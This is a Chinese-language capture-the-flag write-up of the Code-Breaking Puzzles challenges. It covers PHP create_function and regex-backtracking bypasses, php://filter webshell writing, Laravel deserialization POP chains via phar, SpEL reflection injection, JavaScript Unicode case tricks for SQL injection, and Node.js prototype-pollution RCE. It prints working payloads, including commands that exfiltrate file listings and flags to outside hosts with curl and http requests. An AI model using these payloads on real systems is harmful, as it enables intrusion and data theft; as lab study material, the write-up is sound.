0x00前言
题目知识点概述:
- function PHP函数利用技巧
- pcrewaf PHP正则特性
- phpmagic PHP写文件技巧
- phplimit PHP代码执行限制绕过
- nodechr Javascript字符串特性
- javacon SPEL表达式沙盒绕过
- lumenserial 反序列化在7.2下的利用
- picklecode Python反序列化沙盒绕过
- thejs Javascript的原型污染漏洞
PS: 比较早写的笔记,但是一直没时间补完(这笔记好像拖了快一年???),暂时不补充了;特点是详细,感觉新手也能看得懂
0x01 function
代码以及题目环境可以从Github上找到,一下不在赘述,只提及知识点,
1.解决正则问题
preg_match('/^[a-z0-9_]*$/isD', $action)
,$action
中要出现数字字母下划线以外的字符。
可以直接使用burp对字符进行测试(但这个字符必须还是有用的)
PS:网上有的说在这里测试ASCII字符,其实就是有效字符的意思
至于为什么是 \
:
code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?
其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
就是\在php中表示默认的命名空间,比如写一些类的时候会在开头写
1 | 1. namespace think\db; |
2.create_function->rce
使用create_function('', $_GET['code']);
达到远程RCE的效果
具体可以看php的源码 Zend/zend_builtin_functions.c:1858
可见用户输入的参数是function_args、function_code,他们被拼接成一个完整的PHP函数:
function __lambda_func ( function_args ) { function_code } \0
这个函数代码会先放在zend_eval_stringl里执行,可以理解为eval。执行成功后,再于函数列表中找到lambda_func函数,将其重命名成lambda_%d,%d代表“这是本进程第几个匿名函数”。最后从函数列表里删除lambda_func。
由于代码就是简单的拼接,所以我们可以闭合括号,执行任意代码。比如:
- 如果可控在第一个参数,需要闭合圆括号和大括号:create_function(‘){}phpinfo();//‘, ‘’);
- 如果可控在第二个参数,需要闭合大括号:create_function(‘’, ‘}phpinfo();//‘);
PS:
扩展一下,类似的eval也是将其中的字符串与进行拼接
"<?php ".$code."?>"
从而可以传入图?>、<?php闭合前后的标签,让中间的代码块不会被当作php代码执行。补充两个CTF常用的查看文件的函数
1 | http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/* |
0x02 pcrewaf
关键在于正则匹配的绕过
1 | function is_php($data){ |
首先要知道正则的匹配流程和引擎
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
PHP采用的是NFA的正则引擎,具体的解析见 《PHP利用PCRE回溯次数限制绕过某些安全限制》
利用则是通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
POC
1 | import requests |
or
1 | with open("shell.txt", "w+") as f: |
也可以使用readfile
函数来读取文件
此类型的修复方式是使用强等于的方式来判断匹配的结果
1 | if (is_php($data) === 0){ |
PS: 这个题目在最初是存在一个非预期解的,当时的正则如下
1 | function is_php($data){ |
这种形式是可以使用glob+file_get_contents来获取flag的,具体形式如下
1 | chopper=var_dump(glob('../../../*')); |
glob()函数是获取与模式匹配的文件路径,找到文件后直接读取。
之后的正则修改为了现在的形式
1 | function is_php($data){ |
0x03 phpmagic
关键在于文件写入的地方
1 | $log_name = $_SERVER['SERVER_NAME'] . $log_name; |
1.$_SERVER[‘SERVER_NAME’]
(1) 查看官方手册发现$_SERVER[‘SERVER_NAME’]是可以被我们控制的,只要修改数据包中host字段的值就好
(2) $log_name
来自$_POST['log']
因而也可控
2.解决扩展名过滤问题
1 | !in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true) |
使用如下payload可以绕过pathinfo对后缀名的检测,进而将内容正常写入filename.php文件中
1 | filename=shell.php/.&content=<?php phpinfo();?> |
3.解决htmlspecialchars过滤问题
htmlspecialchars函数会将’<’转为’<’,因而不能够直接写webshell。但是 phithon 曾在一篇文章中提到使用PHP伪协议+base64/rot13编码和解码过程处理掉exit–《谈一谈php://filter的妙用》
PS:
- base64必须是4的整数倍;
- 要注意base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=;
- PHP伪协议base64解码的trick:解码中遇到不符合规范的字符直接跳过。
PHP具有一个特点:一切传入filename的地方都可以使用php伪协议,比如:file_put_contents和readfile函数。在解析phar的时候曾提到过大量的此类函数。
4.寻找可控变量构造payload
可以看到$domain内容可控
构造可利用的base64字符串,最终的数据包如下
1 | POST / HTTP/1.1 |
此处对shell的构造有坑,晚上填一下
0x04 phplimit
1 |
|
题目限制:函数可以多层嵌套但是最后一个不能包含参数.
1.session_id
session_id用于设置和获取当前的会话id,也就是PHPSESSID的值,采用如下这种方式就可以获取当前的PHPSESSID的。
1 | session_id(session_start()) |
至于编码问题可以使用hex2bin()函数来解决,hex2bin()并不是将16进制转换为2进制,而是将16进制字符串转换为2进制字符串,示例如下:
1 | php > $t="7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b"; |
最终构造的数据包如下:
1 | GET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 |
2.get_defined_vars
下面看一个示例:
1 | php > $b = "zeroyu"; |
因为不能传入参数所以我们可以结合current()和next()函数来完成对变量的取值,最终构造payload如下:
1 | /?code=eval(next(current(get_defined_vars())));&zeroyu=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss')); |
此外还可以使用reset来将数组指针定位到第一个位置进而获取我们想要的变量,从而构造payload如下:
1 | /?test=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars()))); |
之前提到过牌glob函数,所以payload还可以这样写
1 | /?code=eval(next(current(get_defined_vars())));&b=var_dump(glob(%27/var/www/*%27));print_r(file_get_contents('../flag_phpbyp4ss')); |
3. getcwd
getcwd()函数是获取当前目录,所以通过切换目录读文件的方案也是可行的
1 | /?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); |
PS:附加几个小栗子
1 | ?cmd=print(readdir(opendir(getcwd()))); 可以列目录 |
4.getallheaders
getallheaders()可以获取全部HTTP请求头信息,从而伪造HTTP头字段就可以达到RCE效果,但是这个函数是apache_request_headers函数的别名,只适用于apache环境对于本题目是没有作用的。
关于这个函数的使用,可以参考RCTF 2018的r-cursive题目。
1 | GET /?cmd=eval(implode(getallheaders())); HTTP/1.1 |
PS:那道题目中还涉及到利用open_basedir进行沙盒逃逸
5.getenv
这个函数再PHP5.6版本下不能使用,但是在PHP7.1以及以上版本是可以在不加参数的情况下像get_defined_vars()一样获取服务段的env数据。
0x05 nodechr
此题目考察一些javascript的小特性:
1 | function safeKeyword(keyword) { |
从源码上看是很明显拼接直接注入,但是select和union被过滤。
1.toUpperCase()和toLowerCase()特性
因而利用JS的小特性进行绕过,具体参考《Fuzz中的javascript大小写特性》
Fuzz代码如下
1 | if (!String.fromCodePoint) { |
最终可以得出以下几点特性
1 | "ı".toUpperCase() == 'I' |
从而构造payload
1 | username=test&password=%27+un%C4%B1on+%C5%BFelect+1,(%C5%BFelect+flag+from+flags),'3 |
我们可以看一下这个payload经过处理之后是怎样的
PS: 补充另外一个JS的小特性,这个特性在《Security Bugs in Practice: SSRF via Request Splitting》中被使用
340A0E5E-C178-423A-ACF1-6C8100E5E7E1.png
2.unicode大小写转换问题
在此处补充一下Python3的unicode大小写转换问题,造成这个问题的原因是
这里的特殊部分是转换行为。 并非所有Unicode字符在转换为大写字母时都具有匹配的表示形式 - 因此浏览器通常倾向于采用外观相似,最适合的映射ASCII字符。 这种行为有相当大范围的字符,所有浏览器的做法都有所不同。
1 | "ı".upper() == 'I' |
还有一些其其它的:
1 | K ---- k |
0x06 lumenserial
1. 环境配置
因为此题是基于laravel框架开发的,所以在本地要用 composer install
进行环境配置,方便后面的审计。
2. phpggc
这个题目是基于laravel框架开发的,phpggc中又恰好有4种关于Laravel框架RCE的payload生成方法,所以首先学习一下这四种payload的生成。
第一种
从上图代码我们可以分析出反序列化的时候,类方法调用过程如下,首先执行如下语句,假设此时$function
和$parameter
参数分别对应system
和id
1 | new \Illuminate\Broadcasting\PendingBroadcast(new \Faker\Generator($function),$parameter); |
接着跟进到\Illuminate\Broadcasting\PendingBroadcast
类中看到如下信息
1 | public function __destruct() |
将之前的(new \Faker\Generator($function),$parameter)
代入其实执行的就是
1 | new \Faker\Generator($function)->dispatch($parameter); |
可看到将Generator
当做函数调用进行使用了,所以直接查看到其中的如下代码,此时__call
的参数是dispatch和id
1 | public function __call($method, $attributes) |
之后跟进format
函数进行查看,发现使用到了call_user_func_array
函数来进行处理。
1 | public function format($formatter, $arguments = array()) |
继续跟进一下getFormatter
函数,其中的参数是dispatch
1 | public function getFormatter($formatter) |
最终getFormatter
函数将返回system
。
PS:__call
是在不存在对应的函数调用时才使用的。
第二种
类似的进行分析,首先在反序列化时也是先进入
1 | public function __destruct() |
针对
1 | new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Events\Dispatcher($function, $parameter),$parameter); |
对应执行的就是
1 | (new \Illuminate\Events\Dispatcher($function, $parameter)->dispatch($parameter) |
要知道此时是有dispatch
这个函数的,所以我们就继续跟进这个函数
1 | public function dispatch($event, $payload = [], $halt = false) |
此处只看$event
变量的传递,所以继续跟入getListeners
函数,可以看到我们传入的类名肯定是不存在的,因此这个函数必定返回$listeners
变量的值。
1 | public function getListeners($eventName) |
假设我们使用phpggc生成的payload如下
1 | zeroyu@zeros ~ ./phpggc Laravel/RCE2 system id |
那么最终dispatch函数中的$response = $listener($event, $payload);
对应返回的就是$response=system('id',[]);
此时$response
将保存有命令执行后的结果。
第三种
由下面这句代码展开分析
1 | return new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Notifications\ChannelManager($function, $parameter) |
反序列化的时候首先还是到PendingBroadcast
中调用__destruct
1 | public function __destruct() |
所这次的就相当于
1 | new \Illuminate\Notifications\ChannelManager($function, $parameter)->dispatch($this->event); |
要知道ChannelManager
里面是没有dispatch
函数的,所以就会调用__call
函数
1 | public function __call($method, $parameters) |
$method(...$parameters);
这部分并不重要,之后主要跟进driver
函数
1 | public function driver($driver = null) |
之前我们设置了如下几个变量,所以在此处getDefaultDriver();
将返回x
1 | $this->app = $parameter; |
接下来会继续到createDriver
函数的位置,之后跟进一下这个函数
1 | protected function createDriver($driver) |
可以看到接下来继续进入callCustomCreator
函数
1 | protected function callCustomCreator($driver) |
也正是在此处返回了$function($parameter)
的执行结果。
第四种
首先看一下这个chain的开始
1 | new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Validation\Validator($function),$parameter); |
可以看到,这链也是从PendingBroadcast
的__destruct
开始的
1 | public function __destruct() |
所以此处对应的执行就是
1 | new \Illuminate\Validation\Validator($function)->dispatch($parameter); |
可以看到Validator
类中也是没有dispatch
函数的,因此调用的是__call
函数
1 | public function __call($method, $parameters) |
之后跟进callExtension
函数,在其中的call_user_func_array
处成功执行我们需要执行的函数。
1 | protected function callExtension($rule, $parameters) |
这四种chain的分析可以参考《PHP反序列化入门之寻找POP链(一)》
PS:但是文中对第三种的分析存在一些问题,可以参考我的表述
小结
总结起来以上四种类型要么是利用调用dispatch
来完成,要么是利用$this->events
中的__call
完成。
3. POP chain的构造
pop chain的构造一般都是从寻找__wakeup
或者 __destruct
开始的
寻找思路:
找
dispatch
完成合适的函数调用寻找合适的
$this->events
来使用其中的__call
chain 1
入口点 cat/vendor/illuminate/broadcasting/PendingBroadcast.php
__destruct()
cat/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
__call($name, $arguments)
在这其中call_user_func_array函数的返回结果作为call_user_func函数的参数,$this->validator又是可控的,进而call_user_func函数的参数均是可控的。但是想用file_put_contents函数来写shell需要两个参数,所以call_user_func不能够直接使用,需要继续寻找一个call_user_func_array函数来用cat/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php
invoke(Invocation $invocation)
函数存在一个call_user_func_array函数,其中第一个参数可控,第二个参数需要Invocation对象cat/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation/StaticInvocation.php 中找到对接口
Invocation
的实现
最终构造出的poc如下
1 |
|
poc执行过程分析
起始点
1
2$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);可以看到首先也是进入到了destruct(),将dispatch作为函数调用进行了使用,但是ValidGenerator类中没有这个函数,所以就调用call,参数为dsipatch和123。此处要注意到ValidGenerator的几个参数分别是
$defaultgenerator,array($returncallback,'invoke'),2
1
2
3$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
因此下面这句中的
1 | $res = call_user_func_array(array($this->generator, $name), $arguments); |
array($this->generator, $name)
实际上就是执行了
1 | new Faker\DefaultGenerator($staticinvocation)->dispatch |
但是DefaultGenerator中也没有dispatch函数吗,因此就调用call函数来处理,他的call函数是直接将$staticinvocation的值进行返回
new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
是一个实例化后的Invocation对象,并且它可以给出我们需要参数array,也就是$res = 这个对象
- 接下来回到$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,’invoke’),2);继续看其中的
call_user_func($this->validator, $res)
这里的$this->validator
其实就是array($returncallback,'invoke')
,整体对应的含义如下1
new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function)->invoke($res);
invoke的函数定义如下
1 | public function invoke(Invocation $invocation) |
可以看到$res变量所对应的对象在此处将取出我们需要的$parameters,而$this->callback就是我们之前设置的$function
chain 2
这个pop chain出自lemon师傅,只这条相较于上条答题相同但是比较绕,我在注释已经做了详细的解释。
参考:
《lumenserial–kingkk》
《lumenserial-l3m0n》
1 |
|
小结
在此大致做个小结:
- 首先,此处禁用了用于执行系统命令的函数,所以不能rce只能想办法getshell,写shell就要用
file_put_contents
函数,此时就涉及两个参数,所以就必须找call_user_func_array
这样的函数来进行调用。 - pop chain的构造对于框架而言是找到一个好的起始点,一般而言是找
__wakeup
和__destruct
,但是框架的起始点和构造思想可以参考phpggc。对与laravel框架而言,就是看使用dispatch
还是使用__call
(选择的依据就是这两者中会不会涉及到call_user_func_array
)。
补充
在做此题目的时候之所以会想到是反序列漏洞是看如下信息:
首先看框架的路由
1
2$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');其次根据路由看
Controller
,并在Controller
中寻找敏感点,比如此处的download
1
2
3
4
5private function download($url)
{
......
$content = file_get_contents($url);
......查看url参数是否可控,是否过滤,那么就查看一下这个函数的调用点
1
2
3
4
5
6
7
8
9
10protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}继续跟进
config['catcherFieldName']
1
"catcherFieldName": "source", /* 提交的图片列表表单名称 */
可以看到路径上无过滤,因此参数可控,可以在这个点使用phar来getshell,进而就有了上面的pop chain构造
getshell
1
http://127.0.0.1:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/78ed78f65afaa8137864b4839f2076a8/201904/14/9a032ef2cab676e1f622.gif
其它pop chain参考 《lumenserial–evil》
0x07 javacon
1. 环境配置
使用idea打开这个项目,之后右键jar包选择Add as Library,之后就可以分析其中的源代码了。
配置进行远程调试
1 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 |
命令启动
1 | java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar |
之后点击DEBUG开始调试
2. 漏洞相关知识点
2.1 EL表达式
2.2 SpEL表达式注入
2.3 反射
3. 漏洞调试分析
可以看出是基于Spring框架编写的代码,所以首先查看其配置文件application.yml
1 | spring: |
可以看到用户的配置文件中写了一个黑名单和一个用户信息
SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor
引用自:http://rui0.cn/archives/1015
主要从MainController开始看其功能实现
此处的了漏洞主要是SpEL表达式问题,但是因为有黑名单的限制,所以需要利用反射来拼接payload达到绕过的目的。
常规rce方式
1 | Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator") |
利用反射拼接的方式
1 | String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://i.zeye.xyz/test"); |
PS: 一个坑点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以
1 | new String[]{"/bin/bash\","-c","xxxxx"} |
之后构造的payload如下
1 | System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://i.zeye.xyz/`cd / && ls|base64|tr '\\n' '-'`\"})}")); |
最终利用payload如下
1 | #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl http://i.zeye.xyz/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})} |
参考:《Code-Breaking Puzzles — javacon WriteUp》
0x08 thejs
1. 漏洞相关知识点
原型链污染,因为JavaScript是使用原型链机制来实现继承的,因此就可能会在能够控制数组(对象)的“键名”的操作处存在可污染点。
详细分析参考:《深入理解 JavaScript Prototype 污染攻击》
2. 题目解答
如果想要修改父对象的原型,有如下两种方式
inst.constructor.prototype
inst.__proto__
那么推广一下的话,又有如下两种方式inst[constructor][prototype][]
inst[__proto__][]
所以也就是说只要找对数组进行操作的地方,我们就有可能完成对原型的污染。但是还要注意的是想办法赋值的__proto__
对象并不是真正的这个对象,所以想要写到真正的__proto__
中,我们需要一层赋值。
所以接下来构造攻击链的思路是: 找到一个未定义的变量,但是这个变量要在后面被调用。
经过分析发现sourceURL
是未定义的。
程序中只有一个输入点也就是req.body
,之后经过lodash.merge
将两个对象进行合并
后面可以看到sourceURL
在判断中被调用
因而成功造成原型链污染,之后在模板渲染中的Function
函数中将造成任意代码执行,我们可以在控制台中简单测试一下
一般来说,nodejs中可以直接通过require导入包来达到rce的效果,如下所示
1 | global.require("child_process").execSync("whoami").toString() |
但是此题环境中有沙箱对此进行了限制,因此如下payload是无法成功的。需要对沙箱环境进行bypass
payload
1 | {"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').toString()}\r\n"}} |
效果
bypass的payload可以参考这篇文章
最终构造两个payload如下所示
1 | {"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}} |
1 | {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://xxxx.ceye.io/${result}`);req.end();\r\n"}} |
此处还有一个小细节,就是原型链污染之后,除非重启环境,否则攻击效果一直都在,也就是你读取的flag将一直显示在网页上,所以必须在污染之后将变量恢复,省的泄露我们的flag。(这也就是上面for循环进行delete的原因)
3. 参考
《深入理解 JavaScript Prototype 污染攻击》
《JavaScript Prototype 污染攻击 之 Code-Breaking-TheJS篇》
0x09 picklecode
害,这个先不写了,有时间再补吧